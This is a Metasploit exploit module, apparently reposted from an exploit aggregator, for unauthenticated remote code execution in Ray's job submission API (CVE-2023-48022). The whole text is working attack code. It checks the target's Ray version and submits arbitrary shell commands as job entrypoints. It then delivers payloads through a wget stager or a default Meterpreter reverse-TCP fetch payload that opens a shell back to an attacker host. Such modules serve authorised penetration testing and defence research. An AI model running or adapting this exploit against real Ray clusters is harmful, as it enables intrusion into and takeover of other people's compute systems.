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## https://sploitus.com/exploit?id=1337DAY-ID-39734
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ray Agent Job RCE',
'Description' => %q{
RCE in Ray via the agent job submission endpoint.
This is intended functionality as Ray's main purpose is executing arbitrary workloads.
By default Ray has no authentication.
},
'Author' => [
'sierrabearchell', # Vulnerability discovery
'byt3bl33d3r <[email protected]>', # Python Metasploit module
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-48022'],
['URL', 'https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/'],
['URL', 'https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/']
],
'CmdStagerFlavor' => %i[wget],
'Payload' => {
'DisableNops' => true
},
'Platform' => %w[linux],
'Targets' => [
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
'FETCH_COMMAND' => 'WGET',
'MeterpreterTryToFork' => true
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-11-15',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(8265),
]
)
end
def get_job_data(cmd)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/jobs/'),
'data' => { 'entrypoint' => cmd }.to_json
})
unless res && res.code == 200
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/job_agent/jobs/'),
'data' => { 'entrypoint' => cmd }.to_json
})
end
return unless res && res.code == 200
JSON.parse(res.body)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/version')
})
return Exploit::CheckCode::Unknown unless res && res.code == 200
ray_version = res.get_json_document['ray_version']
return Exploit::CheckCode::Unknown unless ray_version
return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')
@job_data = get_job_data('ls')
return Exploit::CheckCode::Vulnerable unless @job_data.nil?
Exploit::CheckCode::Appears
end
def exploit
@job_data ||= get_job_data('ls')
if @job_data
print_good("Command execution successful. Job ID: '#{@job_data['job_id']}' Submission ID: '#{@job_data['submission_id']}'")
end
case target['Type']
when :nix_cmd
execute_command(payload.encoded)
else
execute_cmdstager({ flavor: :wget })
end
end
def execute_command(cmd, _opts = {})
get_job_data(cmd)
end
end
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